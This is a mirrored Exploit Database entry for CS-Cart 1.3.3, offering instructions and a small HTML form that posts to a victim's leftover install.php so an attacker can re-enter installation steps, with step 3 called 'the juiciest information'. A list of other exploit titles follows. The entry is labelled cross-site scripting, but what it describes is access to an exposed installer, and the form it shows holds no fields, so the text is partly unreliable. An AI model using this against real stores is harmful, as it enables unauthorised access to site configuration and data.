CS-Cart 1.3.3 – ‘install.php’ Cross-Site Scripting

Exploit Database
119 阅读

作者： crmpays

日期： 2010-09-09
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/14962/

# Exploit Title: [CS CART 1.3.3 INSTALL.PHP XSS]

# Date: [2010-09-08]

# Author: [LogicGate]

# Software Link: [http://cs-cart.smartcode.com/]

# Version: [1.3.3]

# Tested on: [N/A]

# CVE : [N/A]

If "install.php" was not removed after installation simply make an html file with the following code and replace <Victim Server> by the PATH to "install.php" example:"http://www.nonexistant.com/install.php":

<html>

<form name="installform" method="post" action="http://<Victim Ip>/install.php">

</form>

</html>

After that open the HTML file you have just created and enter which ever step of the installation you would like to access. Step "3" is where the juiciest information is.

last Exploits
CS-Cart 1.3.3 – ‘install.php’ Cross-Site Scripting的更多信息

Basic Analysis and Security Engine (BASE) 1.4.5 – ‘/includes/base_include.inc.php?base_path’ Remote File Inclusion：
Memorial Web Site Script – Reset Password / Insecure Cookie Handling：
QuiXplorer 2.3 – Bugtraq Arbitrary File Upload：
Kagao 3.0 – Multiple Vulnerabilities：
WordPress Plugin Booking Calendar Contact Form 1.1.24 – Multiple Vulnerabilities：
WordPress Plugin Google Document Embedder 2.5.14 – SQL Injection：
Trendchip HG520 ADSL2+ Wireless Modem – Cross-Site Request Forgery：
INFOR EAM 11.0 Build 201410 – Persistent Cross-Site Scripting via Comment Fields：